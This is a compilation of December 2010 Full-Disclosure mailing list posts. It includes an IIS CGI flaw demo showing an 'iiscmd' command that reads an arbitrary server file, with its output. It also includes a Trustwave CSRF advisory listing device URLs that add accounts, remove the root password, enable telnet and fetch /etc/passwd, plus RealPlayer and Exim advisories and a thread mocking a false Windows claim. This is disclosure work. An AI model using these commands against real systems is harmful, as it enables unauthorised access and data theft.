Re: [Full-disclosure] Windows is 100% self-modifying assembly code? (Interesting security theory)

[Jhfjjf Hfdsjj]

On 12/9/2010 8:39 PM, John Jester Wilham Patrick III wrote: 

>
>From   Andrew Auernheimer's Diary / irc memories:
>
>Windows is written in pure, self-modifying assembly 
>code. Notice how you can install 15 gigs of data from 
>a 

>single Windows install DVD, which can only hold 5 
>gigs? 

>This is because the code is dynamically generated 
>to 
>
>minimize attack vectors. Any attempt to observe the 
>static files on the disk will change how it looks in 
>runtime. This is also why Windows needs to be updated 
>so 
>
>often, so the running code never looks like it did 
>before.
>
>Does this sound true to you guys? Windows does seem to 
>have 

>updates that take forever and speed wise it always felt 
>there was something going on.  Whenever I leave my laptop 
>alone, even when it's offline, indexing off, the computer 
>is 
>
>always working on stuff and you new know what it is.
>
>Maybe all applications with Windows compile on runtime for 
>dynamic binaries, yet through .net's open, user-friendly 
>API 
>
>are still compatible?
>
>Balmer said he wanted to make Vista and 7 an OS that would 
>not slow down after usage, but instead speed up. Windows 
>is 

>constantly reprogramming itself to suit the behavior of 
>it's 
>
>users and performing security and performance auditing.
>
>This is likely true - Think about it:
>
>All viruses are just malicious scripts. It's like saying 
>*nix is insecure because script kiddies compile binaries 
>and 
>
>bash scripts that rm /.
>
>No one ever has ever had an attack vector against Windows 
>7 

>or Vista. Please confirm.
>  

Rofl!!! Do you seriously think that something that cool would be so crappy? Ive 
heard of several attack vectors against windows 7 and vista, they are just 
'new' 
and the whitehat scene hasn't caught up quite yet. As for the inconsistent 
storage size with installation, there is this nifty little thing called 
compression, and most operating systems I know of have to dynamically create 
certain files needed for post-installation, but that doesn't mean that it's 
100% 
dynamic code. Just some of it is necessary dynamic data. Afterall any c program 
can get 'fat' during runtime by calling malloc one too many times :P Not to 
mention the documentation on PE would totally screw with the whole constant 
self-modification, you risk the chance of fucking with the binary portability 
windows loves to bed with so much. And it has to be updated so often cause of 
two reason 1.) It sucks and needs fixin or 2.) Operating systems simply go 
through lots of change. Didn't linux used to be called the 'kernel-of-the-month 
operating system'?

End point: you fail, commit seppuku.

Sincerely,
Some Kid



  

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[Full-disclosure] iis4\iis5 cgi bug and WEB Service CGI Interface Vulnerability Analysis (continued)

[yuange]

Too many bad things in the belly of the fast. 2000 of iis, unicode \ decode \ 
cgi \ webdav \ etc vulnerability, reaching a peak, and later transferred to rpc 
study. Now there is a 01 or so found a serious flaw, iis4, 5 set error loading 
cgi vulnerability, execute arbitrary commands or view arbitrary files. Spent 
nearly a decade, this vulnerability have been quickly eaten away. Because 
iis5.1 core code into the kernel start iis, this exploit code has been dropped, 
so will not need a later version.
   There are loopholes in some time ago to write an article. Did not intend to 
put out, and feel that soon decayed, it released together.
 
 
http://hi.baidu.com/yuange1975/blog/item/6432bffa52252f0fa8d311ac.html
 
C:\tool>iiscmd -s 192.168.0.112 -f c:\winnt\win.ini
recv:
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Sat, 11 Dec 2010 05:21:17 GMT
Connection: close
X-Powered-By: PHP/4.0.0
Content-type: text/html

; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
[MCI Extensions.BAK]
asf=MPEGVideo
asx=MPEGVideo
ivf=MPEGVideo
m3u=MPEGVideo
mp2v=MPEGVideo
mp3=MPEGVideo
mpv2=MPEGVideo
wax=MPEGVideo
wm=MPEGVideo
wma=MPEGVideo
wmv=MPEGVideo
wvx=MPEGVideo

Server close!
  ___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Windows is 100% self-modifying assembly code? (Interesting security theory)

[William Warren]

On 12/9/2010 8:39 PM, John Jester Wilham Patrick III wrote:


From Andrew Auernheimer's Diary / irc memories:

Windows is written in pure, self-modifying assembly code. Notice how 
you can install 15 gigs of data from a single Windows install DVD, 
which can only hold 5 gigs? This is because the code is dynamically 
generated to minimize attack vectors. Any attempt to observe the 
static files on the disk will change how it looks in runtime. This is 
also why Windows needs to be updated so often, so the running code 
never looks like it did before.


Does this sound true to you guys? Windows does seem to have updates 
that take forever and speed wise it always felt there was something 
going on.  Whenever I leave my laptop alone, even when it's offline, 
indexing off, the computer is always working on stuff and you new know 
what it is.


Maybe all applications with Windows compile on runtime for dynamic 
binaries, yet through .net's open, user-friendly API are still compatible?


Balmer said he wanted to make Vista and 7 an OS that would not slow 
down after usage, but instead speed up. Windows is constantly 
reprogramming itself to suit the behavior of it's users and performing 
security and performance auditing.


This is likely true - Think about it:

All viruses are just malicious scripts. It's like saying *nix is 
insecure because script kiddies compile binaries and bash scripts that 
rm /.


No one ever has ever had an attack vector against Windows 7 or Vista. 
Please confirm.



___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Whoever wrote this is on something.  All you have to do is look at any 
decent security list to see the attack vectors that have been found..:)
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[Full-disclosure] [USN-1032-1] Exim vulnerability

[Kees Cook]

===
Ubuntu Security Notice USN-1032-1 December 11, 2010
exim4 vulnerability
CVE-2010-4344
===

A security issue affects the following Ubuntu releases:

Ubuntu 6.06 LTS
Ubuntu 8.04 LTS
Ubuntu 9.10

This advisory also applies to the corresponding versions of
Kubuntu, Edubuntu, and Xubuntu.

The problem can be corrected by upgrading your system to the
following package versions:

Ubuntu 6.06 LTS:
  exim4-daemon-custom 4.60-3ubuntu3.2
  exim4-daemon-heavy  4.60-3ubuntu3.2
  exim4-daemon-light  4.60-3ubuntu3.2

Ubuntu 8.04 LTS:
  exim4-daemon-custom 4.69-2ubuntu0.2
  exim4-daemon-heavy  4.69-2ubuntu0.2
  exim4-daemon-light  4.69-2ubuntu0.2

Ubuntu 9.10:
  exim4-daemon-custom 4.69-11ubuntu4.1
  exim4-daemon-heavy  4.69-11ubuntu4.1
  exim4-daemon-light  4.69-11ubuntu4.1

In general, a standard system update will make all the necessary changes.

Details follow:

Sergey Kononenko and Eugene Bujak discovered that Exim did not correctly
truncate string expansions. A remote attacker could send specially crafted
email traffic to run arbitrary code as the Exim user, which could also
lead to root privileges.


Updated packages for Ubuntu 6.06 LTS:

  Source archives:


http://security.ubuntu.com/ubuntu/pool/main/e/exim4/exim4_4.60-3ubuntu3.2.diff.gz
  Size/MD5:   326950 65e62a09e080c821e398a63cf92a6d1f

http://security.ubuntu.com/ubuntu/pool/main/e/exim4/exim4_4.60-3ubuntu3.2.dsc
  Size/MD5: 1710 56df0b8c8d370e21120658155de9c3fa
http://security.ubuntu.com/ubuntu/pool/main/e/exim4/exim4_4.60.orig.tar.gz
  Size/MD5:  2022260 5f8e5834c648ac9a62bb8ab6ad2a6227

  Architecture independent packages:


http://security.ubuntu.com/ubuntu/pool/main/e/exim4/exim4-config_4.60-3ubuntu3.2_all.deb
  Size/MD5:   263080 359ce4b2bd41c72718c137e465342696

http://security.ubuntu.com/ubuntu/pool/main/e/exim4/exim4_4.60-3ubuntu3.2_all.deb
  Size/MD5: 1580 feabe1136ff1d77db3bf15a3d0e95d23

  amd64 architecture (Athlon64, Opteron, EM64T Xeon):


http://security.ubuntu.com/ubuntu/pool/main/e/exim4/exim4-base_4.60-3ubuntu3.2_amd64.deb
  Size/MD5:   876940 341ab7347734de16c49182757d15e209

http://security.ubuntu.com/ubuntu/pool/main/e/exim4/exim4-daemon-heavy_4.60-3ubuntu3.2_amd64.deb
  Size/MD5:   468624 23925ea701e015f23b5252e6023241a8

http://security.ubuntu.com/ubuntu/pool/main/e/exim4/exim4-daemon-light_4.60-3ubuntu3.2_amd64.deb
  Size/MD5:   414586 16f48b776d5757043f167239fe931fe0

http://security.ubuntu.com/ubuntu/pool/main/e/exim4/eximon4_4.60-3ubuntu3.2_amd64.deb
  Size/MD5:86502 2dd6d4b0fe218b3e6416ae03e13540f4

  i386 architecture (x86 compatible Intel/AMD):


http://security.ubuntu.com/ubuntu/pool/main/e/exim4/exim4-base_4.60-3ubuntu3.2_i386.deb
  Size/MD5:   873970 d7227fdecda4f57c4f0a46895f0047fe

http://security.ubuntu.com/ubuntu/pool/main/e/exim4/exim4-daemon-heavy_4.60-3ubuntu3.2_i386.deb
  Size/MD5:   423706 8a7293ab75f50029a7e60294d6e8

http://security.ubuntu.com/ubuntu/pool/main/e/exim4/exim4-daemon-light_4.60-3ubuntu3.2_i386.deb
  Size/MD5:   374388 b0cbe933f4adc32b6b0228d3819f53cf

http://security.ubuntu.com/ubuntu/pool/main/e/exim4/eximon4_4.60-3ubuntu3.2_i386.deb
  Size/MD5:81898 d1151fdb573847abf6ef7a2c476dec46

  powerpc architecture (Apple Macintosh G3/G4/G5):


http://security.ubuntu.com/ubuntu/pool/main/e/exim4/exim4-base_4.60-3ubuntu3.2_powerpc.deb
  Size/MD5:   883758 1973a2fe4863ed692b22d41a97d4d3f7

http://security.ubuntu.com/ubuntu/pool/main/e/exim4/exim4-daemon-heavy_4.60-3ubuntu3.2_powerpc.deb
  Size/MD5:   469898 c81c330d96ce8f8e9fbb3611ddae9451

http://security.ubuntu.com/ubuntu/pool/main/e/exim4/exim4-daemon-light_4.60-3ubuntu3.2_powerpc.deb
  Size/MD5:   416324 1adda1365428df3dda3ad2eca06a5b0d

http://security.ubuntu.com/ubuntu/pool/main/e/exim4/eximon4_4.60-3ubuntu3.2_powerpc.deb
  Size/MD5:88496 3ddbbdfcad0dc9c4ea0cc1257a66f806

  sparc architecture (Sun SPARC/UltraSPARC):


http://security.ubuntu.com/ubuntu/pool/main/e/exim4/exim4-base_4.60-3ubuntu3.2_sparc.deb
  Size/MD5:   874312 87893cdf1323bc6271da745379efeb63

http://security.ubuntu.com/ubuntu/pool/main/e/exim4/exim4-daemon-heavy_4.60-3ubuntu3.2_sparc.deb
  Size/MD5:   38 8d88c67448778b105336151ffcf9b9cc

http://security.ubuntu.com/ubuntu/pool/main/e/exim4/exim4-daemon-light_4.60-3ubuntu3.2_sparc.deb
  Size/MD5:   394234 8ea9e87dbb5bc7b8e34b7e39be3f14dd

http://security.ubuntu.com/ubuntu/pool/main/e/exim4/eximon4_4.60-3ubuntu3.2_sparc.deb
  Size/MD5:83748 6b14d9e0a764114f73e9bf518acc

Updated packages for Ubuntu 8.04 LTS:

  Source archives:


http://security.ubuntu.com/ubuntu/pool/main/e/exim4/exim4_4.69-2ubuntu0.2.diff.gz

Re: [Full-disclosure] Flaw in Microsoft Domain Account Caching Allows Local Workstation Admins to Temporarily Escalate Privileges and Login as Cached Domain Admin Accounts (2010-M$-002)

[Thor (Hammer of God)]

Wow.  I guess you didn't read the post either.  I'm a bit surprised that a Sr. 
Network Engineer thinks that Group Policies "differentiate between local and 
Domain administrators."  You're making it sound like you think Group Policy 
application has some "magic permissions" or something, or that a "domain 
administrator" is a "bigger" administrator than the local administrator.

Group Policy loads from the client via the Group Policy Client service.   If 
I'm a local admin, I can just set my local system to not process group policy 
via the GPExtensions hive.  Done.  If I take the domain admin out of my local 
administrators, they can't do anything.  Done.  

How exactly do you think this is problematic for "shops that differentiate 
between desktop support and AD support"?  (whatever that means).

t

>-Original Message-
>From: full-disclosure-boun...@lists.grok.org.uk [mailto:full-disclosure-
>boun...@lists.grok.org.uk] On Behalf Of George Carlson
>Sent: Friday, December 10, 2010 10:12 AM
>To: bugt...@securityfocus.com; full-disclosure@lists.grok.org.uk
>Subject: Re: [Full-disclosure] Flaw in Microsoft Domain Account Caching Allows
>Local Workstation Admins to Temporarily Escalate Privileges and Login as
>Cached Domain Admin Accounts (2010-M$-002)
>
>Your objections are mostly true in a normal sense.  However, it is not true
>when Group Policy is taken into account.  Group Policies differentiate
>between local and Domain administrators and so this vulnerability is
>problematic for shops that differentiate between desktop support and AD
>support.
>
>
>George Carlson
>Sr. Network Engineer
>(804) 423-7430
>
>
>-Original Message-
>From: Stefan Kanthak [mailto:stefan.kant...@nexgo.de]
>Sent: Friday, December 10, 2010 11:30 AM
>To: bugt...@securityfocus.com; full-disclosure@lists.grok.org.uk
>Cc: stenopla...@exploitdevelopment.com
>Subject: Re: Flaw in Microsoft Domain Account Caching Allows Local
>Workstation Admins to Temporarily Escalate Privileges and Login as Cached
>Domain Admin Accounts (2010-M$-002)
>
>"StenoPlasma @ www.ExploitDevelopment.com" wrote:
>
>Much ado about nothing!
>
>> TITLE:
>> Flaw in Microsoft Domain Account Caching Allows Local Workstation
>> Admins to Temporarily Escalate Privileges and Login as Cached Domain
>> Admin Accounts
>
>There is NO privilege escalation. A local administrator is an admistrator is an
>administrator...
>
>> SUMMARY AND IMPACT:
>> All versions of Microsoft Windows operating systems allow real-time
>> modifications to the Active Directory cached accounts listing stored
>> on all Active Directory domain workstations and servers. This allows
>> domain users that have local administrator privileges on domain assets
>> to modify their cached accounts to masquerade as other domain users
>> that have logged in to those domain assets. This will allow local
>> administrators to temporarily escalate their domain privileges on
>> domain workstations or servers.
>
>Wrong. The local administrator is already local administrator. There's nothing
>the elevate any more.
>
>> If the local administrator masquerades as an Active Directory Domain
>> Admin account, the modified cached account is now free to modify
>> system files and user account profiles using the identity of the
>> Domain Admin's account.
>
>There is no need to masquerade: the local administrator can perform all these
>modifications, and if s/he wishes, hide the tracks: turn off auditing before,
>clear audit/event logs afterwards, change the SID in the ACEs of all objects
>touched (SubInACL.Exe comes handy), ...
>
>Or: just change the "NoDefaultAdminOwner" setting. After that, all
>"Administrators" masquerade as "Administrators". uh-oh.
>
>> This includes
>> creating scripts to run as the Domain Admin account the next time that
>> they log in.
>
>Ridiculous.
>A local administrator can add any script/executable s/he wants to any
>"autostart" (scheduled task, registry, logon script, userinit, shell, ...).
>There's ABSOLUTELY no need to masquerade.
>
>> All files created will not be linked to your domain account in file
>> and folder access lists.
>
>ACEs can always be edited by a local administrator, see SubInACL.Exe, or
>TakeOwn.Exe.
>
>> All security access lists
>> will only show the Domain Admin's account once you log out of the
>> modified cached account. This leads to a number of security issues
>> that I will not attempt to identify in the article. One major issue is
>> the lack of non-repudiation. Editing files and other actions will be
>> completed as another user account. Event log entries for object access
>> will only be created if administrators are auditing successful access
>> to files (This will lead to enormous event log sizes).
>
>A local administrator can turn audit/event logs off, clear or modify them.
>
>Stefan
>
>___
>Full-Disclosure - We believe in it.
>Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>Hosted and sponsor

[Full-disclosure] TPTI-10-17: RealNetworks RealPlayer SIPR Stream Frame Dimensions Remote Code Execution Vulnerability

[ZDI Disclosures]

TPTI-10-17: RealNetworks RealPlayer SIPR Stream Frame Dimensions Remote Code 
Execution Vulnerability

http://dvlabs.tippingpoint.com/advisory/TPTI-10-17

December 10, 2010

-- CVE ID:
CVE-2010-4385

-- CVSS:
9, (AV:N/AC:L/Au:N/C:P/I:P/A:C)

-- Affected Vendors:
RealNetworks

-- Affected Products:
RealNetworks RealPlayer

-- TippingPoint(TM) IPS Customer Protection:
TippingPoint IPS customers have been protected against this
vulnerability by Digital Vaccine protection filter ID 9674.
For further product information on the TippingPoint IPS, visit:

http://www.tippingpoint.com

-- Vulnerability Details:
This vulnerability allows remote attackers to execute arbitrary code on
vulnerable installations of RealNetworks RealPlayer. Authentication is
not required to exploit this vulnerability.

The specific flaw exists within the drv1.dll module. Code responsible
for parsing SIPR stream metadata trusts frame width and height values
from the input file. By crafting particular values an integer value used
in a loop can be made to wrap negatively. The loop will subsequently
overflow a static heap buffer during an inline memory copy. By crafting
a malicious .rm file an attacker can exploit this vulnerability remotely
using the RealPlayer ActiveX control.

-- Vendor Response:
RealNetworks has issued an update to correct this vulnerability. More
details can be found at:

http://service.real.com/realplayer/security/12102010_player/en/

-- Disclosure Timeline:
2010-02-26 - Vulnerability reported to vendor
2010-12-10 - Coordinated public release of advisory

-- Credit:
This vulnerability was discovered by:
* Aaron Portnoy, Zef Cekaj, Logan Brown


___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Flaw in Microsoft Domain Account Caching Allows Local Workstation Admins to Temporarily Escalate Privileges and Login as Cached Domain Admin Accounts (2010-M$-002)

[Thor (Hammer of God)]

In whose universe?   Did you even read the post?  Local admins become LOCAL 
ADMINS by using a cached domain account who is a LOCAL ADMIN. You have to do it 
with the network cable unplugged.   There is no privilege escalation here. 

StenoPlasma's intent was to educate people on how things worked, and while 
there isn't a security issue here, he was completely correct in that you guys 
really need to learn what you are talking about.  

t

>-Original Message-
>From: full-disclosure-boun...@lists.grok.org.uk [mailto:full-disclosure-
>boun...@lists.grok.org.uk] On Behalf Of jco...@winwholesale.com
>Sent: Friday, December 10, 2010 11:45 AM
>To: Stefan Kanthak
>Cc: stenopla...@exploitdevelopment.com; full-disclosure@lists.grok.org.uk;
>bugt...@securityfocus.com
>Subject: Re: [Full-disclosure] Flaw in Microsoft Domain Account Caching Allows
>Local Workstation Admins to Temporarily Escalate Privileges and Login as
>Cached Domain Admin Accounts (2010-M$-002)
>
>You are completely missing the point..
>Local admins become Domain Admins.
>
>
>
>
>
>From:   "Stefan Kanthak" 
>To: ,
>
>Cc: 
>Date:   12/10/2010 01:08 PM
>Subject:Re: Flaw in Microsoft Domain Account Caching Allows Local
>Workstation Admins to Temporarily Escalate Privileges and Login
>as Cached Domain Admin Accounts (2010-M$-002)
>
>
>
>"StenoPlasma @ www.ExploitDevelopment.com" wrote:
>
>Much ado about nothing!
>
>> TITLE:
>> Flaw in Microsoft Domain Account Caching Allows Local Workstation
>> Admins to Temporarily Escalate Privileges and Login as Cached Domain
>> Admin Accounts
>
>There is NO privilege escalation. A local administrator is an admistrator is an
>administrator...
>
>> SUMMARY AND IMPACT:
>> All versions of Microsoft Windows operating systems allow real-time
>> modifications to the Active Directory cached accounts listing stored
>> on all Active Directory domain workstations and servers. This allows
>> domain users that have local administrator privileges on domain assets
>> to modify their cached accounts to masquerade as other domain users
>> that have logged in to those domain assets. This will allow local
>> administrators to temporarily escalate their domain privileges on
>> domain workstations or servers.
>
>Wrong. The local administrator is already local administrator. There's nothing
>the elevate any more.
>
>> If the local administrator masquerades as an Active Directory Domain
>> Admin account, the modified cached account is now free to modify
>> system files and user account profiles using the identity of the
>> Domain Admin's account.
>
>There is no need to masquerade: the local administrator can perform all these
>modifications, and if s/he wishes, hide the tracks: turn off auditing before,
>clear audit/event logs afterwards, change the SID in the ACEs of all objects
>touched (SubInACL.Exe comes handy), ...
>
>Or: just change the "NoDefaultAdminOwner" setting. After that, all
>"Administrators" masquerade as "Administrators". uh-oh.
>
>> This includes
>> creating scripts to run as the Domain Admin account the next time that
>> they log in.
>
>Ridiculous.
>A local administrator can add any script/executable s/he wants to any
>"autostart" (scheduled task, registry, logon script, userinit, shell, ...).
>There's ABSOLUTELY no need to masquerade.
>
>> All files created will not be linked to your domain account in file
>> and folder access lists.
>
>ACEs can always be edited by a local administrator, see SubInACL.Exe, or
>TakeOwn.Exe.
>
>> All security access lists
>> will only show the Domain Admin's account once you log out of the
>> modified cached account. This leads to a number of security issues
>> that I will not attempt to identify in the article. One major issue is
>> the lack of non-repudiation. Editing files and other actions will be
>> completed as another user account. Event log entries for object access
>> will only be created if administrators are auditing successful access
>> to files (This will lead to enormous event log sizes).
>
>A local administrator can turn audit/event logs off, clear or modify them.
>
>Stefan
>
>
>
>
>***
>**
>This email message and any attachments is for use only by the named
>addressee(s) and may contain confidential, privileged and/or proprietary
>information.  If you have received this message in error, please immediately
>notify the sender and delete and destroy the message and all copies.  All
>unauthorized direct or indirect use or disclosure of this message is strictly
>prohibited.  No right to confidentiality or privilege is waived or lost by any
>error in transmission.
>***
>**
>
>___
>Full-Disclosure - We believe in it.
>Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>Hosted and 

[Full-disclosure] TWSL2010-008: Clear iSpot/Clearspot CSRF Vulnerabilities

[Trustwave Advisories]

Trustwave's SpiderLabs Security Advisory TWSL2010-008:
Clear iSpot/Clearspot CSRF Vulnerabilities

https://www.trustwave.com/spiderlabs/advisories/TWSL2010-008.txt

Published: 2010-12-10 Version: 1.0

Vendor: Clear (http://www.clear.com )
Products: iSpot / ClearSpot 4G (http://www.clear.com/devices)
Versions affected:
The observed behavior the result of a design choice, and may be present
on multiple versions. The specific versions used during testing are
given below.

iSpot version:   2.0.0.0 [R1679 (Jul 6 2010 17:57:37)]
Clearspot versions:  2.0.0.0 [R1512 (May 31 2010 18:57:09)]
 2.0.0.0 [R1786 (Aug 4 2010 20:09:06)]
Firmware Version :   1.9.9.4
Hardware Version :   R051.2
Device Name :IMW-C615W
Device Manufacturer :INFOMARK (http://infomark.co.kr
)

Product Description:
iSpot and ClearSpot 4G are portable 4G devices, that allow users to share
and broadcast their own personal WiFi network. The device connects up to 8
clients at the same time, on the same 4G connection.

Credit: Matthew Jakubowski of Trustwave's SpiderLabs

CVE: CVE-2010-4507

Finding:
These devices are susceptible to Cross-Site Request Forgery (CSRF).
An attacker that is able to coerce a ClearSpot / iSpot user into
following a link can arbitrarily execute system commands on the device.

The following examples will allow an attacker to enable remote access to
the
iSpot and ClearSpot 4G, and add their own account to the device. This level
of access also provides a device's client-side SSL certificates, which are
used to perform device authentication. This could lead to a compromise of
ClearWire accounts as well as other personal information.

Add new user:
http://192.168.1.1/cgi-bin/webmain.cgi";
>





or



Remove root password:
http://192.168.1.1/cgi-bin/webmain.cgi";
>





or



Enable remote administration access:
http://192.168.1.1/cgi-bin/webmain.cgi";
>






or



Enable telnet if not already enabled:

http://192.168.1.1/cgi-bin/webmain.cgi";
>





or



Allow remote telnet access:
http://192.168.1.1/cgi-bin/webmain.cgi";
>









or



Once compromised, it is possible to download any file from the devices
using
the following method.

Download /etc/passwd file:
http://192.168.1.1/cgi-bin/upgrademain.cgi
 ">






or



Vendor Response:
No official response is available at the time of release.

Remediation Steps:
No patch currently exists for this issue. To limit exposure,
network access to these devices should be limited to authorized
personnel through the use of Access Control Lists and proper
network segmentation.

Vendor Communication Timeline:
8/26/10 - Vendor contact initiated.
9/30/10 - Vulnerability details provided to vendor.
12/3/10 - Notified vendor of release date. No workaround or patch provided.
12/10/10 - Advisory published.

Revision History:
1.0 Initial publication

About Trustwave:
Trustwave is the leading provider of on-demand and subscription-based
information security and payment card industry compliance management
solutions to businesses and government entities throughout the world. For
organizations faced with today's challenging data security and compliance
environment, Trustwave provides a unique approach with comprehensive
solutions that include its flagship TrustKeeper compliance management
software and other proprietary security solutions. Trustwave has helped
thousands of organizations--ranging from Fortune 500 businesses and large
financial institutions to small and medium-sized retailers--manage
compliance and secure their network infrastructure, data communications and
critical information assets. Trustwave is headquartered in Chicago with
offices throughout North America, South America, Europe, Africa, China and
Australia. For more information, visit

https://www.trustwave.com 

About Trustwave's SpiderLabs:
SpiderLabs is the advance security team at Trustwave responsible for
incident response and forensics, ethical hacking and application security
tests for Trustwave's clients. SpiderLabs has responded to hundreds of
security incidents, performed thousands of ethical hacking exercises and
tested the security of hundreds of business applications for Fortune 500
organizations.  For more information visit
https://www.trustwave.com/spiderlabs


Disclaimer:
The information provided in this advisory is provided "as is" without
warranty of any kind. Trustwave disclaims all warranties, either express or
implied, including the warranties of merchantability and fitness for a
particular purpose. In no event shall Trustwave or its suppliers be liable
for any damages whatsoever including direct, indirect, incidental,
co

[Full-disclosure] TPTI-10-18: RealNetworks RealPlayer MDPR Chunk Size Remote Code Execution Vulnerability

[ZDI Disclosures]

TPTI-10-18: RealNetworks RealPlayer MDPR Chunk Size Remote Code Execution 
Vulnerability

http://dvlabs.tippingpoint.com/advisory/TPTI-10-18

December 10, 2010

-- CVE ID:
CVE-2010-4390

-- CVSS:
9, (AV:N/AC:L/Au:N/C:P/I:P/A:C)

-- Affected Vendors:
RealNetworks

-- Affected Products:
RealNetworks RealPlayer

-- Vulnerability Details:
This vulnerability allows remote attackers to execute arbitrary code on
vulnerable installations of RealNetworks RealPlayer. User interaction is
required to exploit this vulnerability in that the target must visit a
malicious page or open a malicious file.

The specific flaw exists within RealPlayer's handling of Internet Video
Recording (.ivr) files. While parsing the MLTI chunk the process trusts
the field responsible for denoting the size of an embedded MDPR chunk.
By modifying this value in an IVR file an attacker can force a
misallocation on the heap. The process can then be made to write past
the bounds of the buffer, corrupting memory. This can be leveraged to
execute arbitrary code under the context of the user invoking
RealPlayer.

-- Vendor Response:
RealNetworks has issued an update to correct this vulnerability. More
details can be found at:

http://service.real.com/realplayer/security/12102010_player/en/

-- Disclosure Timeline:
2010-08-12 - Vulnerability reported to vendor
2010-12-10 - Coordinated public release of advisory

-- Credit:
This vulnerability was discovered by:
* Aaron Portnoy and Logan Brown of TippingPoint DVLabs and Team lollersk8erz


___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[Full-disclosure] TPTI-10-19: RealNetworks RealPlayer MLTI Stream Number Remote Code Execution Vulnerability

[ZDI Disclosures]

TPTI-10-19: RealNetworks RealPlayer MLTI Stream Number Remote Code Execution 
Vulnerability

http://dvlabs.tippingpoint.com/advisory/TPTI-10-19

December 10, 2010

-- CVE ID:
CVE-2010-4390

-- Affected Vendors:
RealNetworks

-- Affected Products:
RealNetworks RealPlayer

-- TippingPoint(TM) IPS Customer Protection:
TippingPoint IPS customers have been protected against this
vulnerability by Digital Vaccine protection filter ID 10151.
For further product information on the TippingPoint IPS, visit:

http://www.tippingpoint.com

-- Vulnerability Details:
This vulnerability allows remote attackers to execute arbitrary code on
vulnerable installations of RealNetworks RealPlayer. User interaction is
required to exploit this vulnerability in that the target must visit a
malicious page or open a malicious file.

The specific flaw exists within RealPlayer's handling of Internet Video
Recording (.ivr) files. While parsing the MLTI chunk the process trusts
the field responsible for denoting the number of streams within the
chunk. By modifying this value in an IVR file, an attacker can force a
processing loop to overrun and corrupt heap memory. This can be abused
to execute arbitrary code under the context of the user invoking
RealPlayer.

-- Vendor Response:
RealNetworks has issued an update to correct this vulnerability. More
details can be found at:

http://service.real.com/realplayer/security/12102010_player/en/

-- Disclosure Timeline:
2010-08-12 - Vulnerability reported to vendor
2010-12-10 - Coordinated public release of advisory

-- Credit:
This vulnerability was discovered by:
* Aaron Portnoy and Logan Brown of TippingPoint DVLabs and Team lollersk8erz


___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[Full-disclosure] ZDI-10-280: RealNetworks RealPlayer ImageMap Remote Code Execution Vulnerability

[ZDI Disclosures]

ZDI-10-280: RealNetworks RealPlayer ImageMap Remote Code Execution Vulnerability

http://www.zerodayinitiative.com/advisories/ZDI-10-280

December 10, 2010

-- CVE ID:
CVE-2010-4392

-- CVSS:
9, (AV:N/AC:L/Au:N/C:P/I:P/A:C)

-- Affected Vendors:
RealNetworks

-- Affected Products:
RealNetworks RealPlayer

-- TippingPoint(TM) IPS Customer Protection:
TippingPoint IPS customers have been protected against this
vulnerability by Digital Vaccine protection filter ID 10290.
For further product information on the TippingPoint IPS, visit:

http://www.tippingpoint.com

-- Vulnerability Details:
This vulnerability allows remote attackers to execute arbitrary code on
vulnerable installations of RealNetworks RealPlayer. User interaction is
required to exploit this vulnerability in that the target must visit a
malicious page or open a malicious file.

The specific flaw exists within how the application decodes data for a
particular mime type within a RealMedia file. When decoding the data
used for rendering, the application will use the length of a string in
an addition used to calculate the size of a buffer. The application will
zero-extend it and then allocate. Due to the addition, the result of the
calculation can be greater than 16-bits, and when the typecast occurs
the result will be smaller than expected. When initializing this buffer,
a buffer overflow will occur which can allow for code execution under
the context of the application.

-- Vendor Response:
RealNetworks has issued an update to correct this vulnerability. More
details can be found at:

http://service.real.com/realplayer/security/12102010_player/en/

-- Disclosure Timeline:
2010-08-25 - Vulnerability reported to vendor
2010-12-10 - Coordinated public release of advisory

-- Credit:
This vulnerability was discovered by:
* Sebastian Apelt & Andreas Schmidt 
(www.siberas.de)

-- About the Zero Day Initiative (ZDI):
Established by TippingPoint, The Zero Day Initiative (ZDI) represents
a best-of-breed model for rewarding security researchers for responsibly
disclosing discovered vulnerabilities.

Researchers interested in getting paid for their security research
through the ZDI can find more information and sign-up at:

http://www.zerodayinitiative.com

The ZDI is unique in how the acquired vulnerability information is
used. TippingPoint does not re-sell the vulnerability details or any
exploit code. Instead, upon notifying the affected product vendor,
TippingPoint provides its customers with zero day protection through
its intrusion prevention technology. Explicit details regarding the
specifics of the vulnerability are not exposed to any parties until
an official vendor patch is publicly available. Furthermore, with the
altruistic aim of helping to secure a broader user base, TippingPoint
provides this vulnerability information confidentially to security
vendors (including competitors) who have a vulnerability protection or
mitigation product.

Our vulnerability disclosure policy is available online at:

http://www.zerodayinitiative.com/advisories/disclosure_policy/

Follow the ZDI on Twitter:

http://twitter.com/thezdi


___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[Full-disclosure] ZDI-10-279: RealNetworks RealPlayer Cook Codec Initialization Remote Code Execution Vulnerability

[ZDI Disclosures]

ZDI-10-279: RealNetworks RealPlayer Cook Codec Initialization Remote Code 
Execution Vulnerability

http://www.zerodayinitiative.com/advisories/ZDI-10-279

December 10, 2010

-- CVE ID:
CVE-2010-4389

-- CVSS:
9, (AV:N/AC:L/Au:N/C:P/I:P/A:C)

-- Affected Vendors:
RealNetworks

-- Affected Products:
RealNetworks RealPlayer

-- TippingPoint(TM) IPS Customer Protection:
TippingPoint IPS customers have been protected against this
